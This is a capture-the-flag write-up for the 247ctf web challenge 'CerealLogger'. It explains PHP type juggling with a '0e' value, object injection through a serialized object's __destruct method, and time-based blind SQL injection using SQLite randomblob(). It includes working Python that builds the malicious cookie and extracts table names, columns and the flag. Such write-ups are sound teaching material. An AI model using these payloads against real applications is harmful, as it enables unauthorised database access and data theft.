This page looks best with JavaScript enabled

247ctf [Web]: CerealLogger

 ·  ☕ 5 min read

Introduction

Using a specially crafted cookie, you can write data to /dev/null. Can you abuse the write and read the flag?

Source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php

  class insert_log
  {
      public $new_data = "Valid access logged!";
      public function __destruct()
      {
          $this->pdo = new SQLite3("/tmp/log.db");
          $this->pdo->exec("INSERT INTO log (message) VALUES ('".$this->new_data."');");
      }
  }

  if (isset($_COOKIE["247"]) && explode(".", $_COOKIE["247"])[1].rand(0, 247247247) == "0") {
      file_put_contents("/dev/null", unserialize(base64_decode(explode(".", $_COOKIE["247"])[0])));
  } else {
      echo highlight_file(__FILE__, true);
  }

In this challenge there are 3 conditions we need to bypass to get the flag:

  1. Type juggling
  2. Deserialization
  3. SQL injection

Type juggling

As I explained in Compare the pair when you make a “equiality” comparison (==) in php and both operands looks like a number then php forces a number conversion and then makes a comparison.
Furthermore any string that starts by 0e followed by numbers is treades as a 0 (which are generated by rand(0, 247247247)).
Then as it is using explode(".",$_COOKIE["247"])) we need to divide the cookie “247” into 2 parts by a dot (type juggling being the second part).
So our cookie looks something like “deserialization.0e”

Deserialization

Also know as PHP Object Injection is a php vulnerability that needs 2 conditions to be exploitable:

  • The application must have a class which implements a PHP magic method (such as __wakeup or __destruct) that can be used to carry out malicious attacks, or to start a “POP chain”.
  • All of the classes used during the attack must be declared when the vulnerable unserialize() is being called, otherwise object autoloading must be supported for such classes.

When unserialize() is called some magic methods are executed, being __destruct() one of them. To do so we need to craft a serialized string.
To do so we need to follow the next syntaxis:

O:object_name_length:object_name:{data_type:property_name_length:property_name;data_type:value_name_length:value_name;}

In our case would be something like:

O:10:"insert_log":1:{s:8:"new_data";s:5:"query";}

SQL Injection

The backend is doing the following query:

1
INSERT INTO log (message) VALUES ('".$this->new_data."');

It isn’t sanitized so we can inject sql queries. However the output is redirected to /dev/null so we can’t see what returns.

To realize if the output of our query is succesfull or not we can use randomblob() (similarly to sleep()). Based on how much time the request takes we can decide if the query worked.

First of all calculated the response times before injecting any query:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# Generates a cookie with the given query
def make_cookie(query):
    payload = 'O:10:"insert_log":1:{s:8:"new_data";s:%s:"%s";}' % (len(query), query)
    payload = base64.b64encode(payload.encode("utf-8")).decode()
    payload = f"{payload}.0e.a"
    return payload

# Calculates response time without randomblob()
req_time = 0
for i in range(5):
    req_time = max(req_time,requests.get(url).elapsed.total_seconds())
print(req_time)
# Calculates response time using randomblob()
sleep_time = 999999
for i in range(5):
    cookies= {
        "247": make_cookie("""a"'); SELECT 1 WHERE 1==randomblob(9000000000);--""")
    }
    sleep_time = min(sleep_time,requests.get(url,cookies=cookies).elapsed.total_seconds())
print(sleep_time)

Now all we have to do is enumerate the tables to see where we could find the flag. To do so we take advantage of LIKE and we are basically testing all string combinations asking “Is there any table that starts by foo?”, if the answer is yes we keep asking for the following characters.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def check_error(query):
    max_time = sleep_time - 0.3
    cookies= {
        "247": make_cookie(query)
    }
    try:
        r = requests.get("https://cb4f9f70d16192cd.247ctf.com/", cookies=cookies,timeout= max_time)
        return False
    except:
        return True

def list_tables():
    partial_tables = []
    tables = []
    for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
        if check_error(f"""a"'); SELECT name FROM sqlite_master WHERE name LIKE '{char}%' AND 1=randomblob(9000000000) AND 1=randomblob(9000000000) AND 1=randomblob(9000000000);--"""):
            partial_tables.append(char)

    while partial_tables:
        current_name = partial_tables.pop()
        match = False
        for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
            if check_error(f"""a"'); SELECT name FROM sqlite_master WHERE name LIKE '{current_name}{char}%' AND 1=randomblob(9000000000) AND 1=randomblob(9000000000) AND 1=randomblob(9000000000);--"""):
                partial_tables.append(current_name + char)
                match = True
        if(not match):
            tables.append(current_name)
    return tables

Then we know there is a table called flag, but we still don’t know it’s columns, so let’s enumerate them:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
def list_fields(table):
    partial_field = []
    fields = []
    for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
        if check_error(f"""a"'); SELECT name FROM sqlite_master WHERE name LIKE '{char}%' AND 1=randomblob(9000000000) AND 1=randomblob(9000000000) AND 1=randomblob(9000000000);--"""):
            partial_field.append(char)

    while partial_field:
        current_name = partial_field.pop()
        match = False
        for char in string.ascii_lowercase + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
            if check_error(f"""a"'); SELECT name FROM PRAGMA_TABLE_INFO('{table}') WHERE name LIKE '{current_name}{char}%' AND 1=randomblob(9000000000) AND 1=randomblob(9000000000) AND 1=randomblob(9000000000);--"""):
                partial_field.append(current_name + char)
                match = True
        if(not match):
            fields.append(current_name)
    return fields

Finally we know that the table is flag and column flag, so just get it:

1
2
3
4
5
6
7
8
9
def get_flag():
    flag = ""
    last_char = ""
    while last_char != "}":
        for char in string.ascii_letters  + string.digits + "#" + "$" + "-" + "." + "{" + "}" + " " + "(" + ")":
            if check_error(f"""a"'); SELECT flag FROM flag WHERE flag LIKE '{flag + char}%' AND 1=randomblob(9000000000) AND 1=randomblob(9000000000) AND 1=randomblob(9000000000);--"""):
                flag = flag + char
                last_char = char
    return flag

References

Share on

ITasahobby
WRITTEN BY
ITasahobby
InTernet lover